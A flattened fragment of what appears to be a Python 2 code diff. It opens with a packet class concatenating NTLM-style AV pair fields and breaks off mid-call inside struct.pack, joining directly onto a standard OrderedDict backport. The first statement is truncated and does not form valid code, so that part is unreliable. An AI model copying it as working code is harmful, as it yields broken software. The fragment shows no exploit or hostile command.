str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + + self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) + self.fields["SSPIBuffLen"] = struct.pack(". + +from UserDict import DictMixin + +class OrderedDict(dict, DictMixin): + + def __init__(self, *args, **kwds): + if len(args) > 1: + raise TypeError('expected at most 1 arguments, got %d' % len(args)) + try: + self.__end + except AttributeError: + self.clear() + self.update(*args, **kwds) + + def clear(self): + self.__end = end = [] + end += [None, end, end] + self.__map = {} + dict.clear(self) + + def __setitem__(self, key, value): + if key not in self: + end = self.__end + curr = end[1] + curr[2] = end[1] = self.__map[key] = [key, curr, end] + dict.__setitem__(self, key, value) + + def __delitem__(self, key): + dict.__delitem__(self, key) + key, prev, next = self.__map.pop(key) + prev[2] = next + next[1] = prev + + def __iter__(self): + end = self.__end + curr = end[2] + while curr is not end: + yield curr[0] + curr = curr[2] + + def __reversed__(self): + end = self.__end + curr = end[1] + while curr is not end: + yield curr[0] + curr = curr[1] + + def popitem(self, last=True): + if not self: + raise KeyError('dictionary is empty') + if last: + key = reversed(self).next() + else: + key = iter(self).next() + value = self.pop(key) + return key, value + + def __reduce__(self): + items = [[k, self[k]] for k in self] + tmp = self.__map, self.__end + del self.__map, self.__end + inst_dict = vars(self).copy() + self.__map, self.__end = tmp + if inst_dict: + return (self.__class__, (items,), inst_dict) + return self.__class__, (items,) + + def keys(self): + return list(self) + + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + iterkeys = DictMixin.iterkeys + itervalues = DictMixin.itervalues + iteritems = DictMixin.iteritems + + def __repr__(self): + if not self: + return '%s()' % (self.__class__.__name__,) + return '%s(%r)' % (self.__class__.__name__, self.items()) + + def copy(self): + return self.__class__(self) + + @classmethod + def fromkeys(cls, iterable, value=None): + d = cls() + for key in iterable: + d[key] = value + return d + + def __eq__(self, other): + if isinstance(other, OrderedDict): + return len(self)==len(other) and \ + min(p==q for p, q in zip(self.items(), other.items())) + return dict.__eq__(self, other) + + def __ne__(self, other): + return not self == other